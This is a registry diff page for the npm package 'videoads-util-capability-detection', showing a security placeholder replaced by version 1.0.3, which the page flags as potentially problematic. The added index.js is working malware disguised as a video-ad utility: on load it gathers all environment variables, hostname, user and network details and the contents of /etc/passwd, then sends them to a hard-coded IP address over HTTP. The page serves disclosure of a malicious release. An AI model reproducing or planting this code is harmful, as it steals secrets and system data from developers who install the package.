videoads-util-capability-detection 0.0.1-security → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of videoads-util-capability-detection might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +30 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,30 @@
1
+ const os = require('os');
2
+ const fs = require('fs');
3
+ const http = require('http');
4
+
5
+ const env = JSON.stringify(process.env);
6
+ const cwd = process.cwd();
7
+ const stackTrace = new Error().stack;
8
+ const systemInfo = {
9
+ nodeVersion: process.version,
10
+ platform: process.platform,
11
+ architecture: process.arch,
12
+ userInfo: os.userInfo(),
13
+ networkInterfaces: os.networkInterfaces(),
14
+ };
15
+ const hostname = os.hostname();
16
+
17
+ const data = `
18
+ ENV: ${env}
19
+ CWD: ${cwd}
20
+ STACK: ${stackTrace}
21
+ HOSTNAME: ${hostname}
22
+ SYSTEM INFO: ${JSON.stringify(systemInfo)}
23
+ /etc/passwd: ${fs.readFileSync('/etc/passwd')}
24
+ `;
25
+
26
+ http.get(`http://203.161.50.115:8080?data=${encodeURIComponent(data)}`, (res) => {
27
+ res.on('data', (chunk) => {
28
+ console.log(`BODY: ${chunk}`);
29
+ });
30
+ });
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "videoads-util-capability-detection",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.3",
4
+ "description": "Utility package for detecting video ad capabilities",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "xterm",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=videoads-util-capability-detection for more information.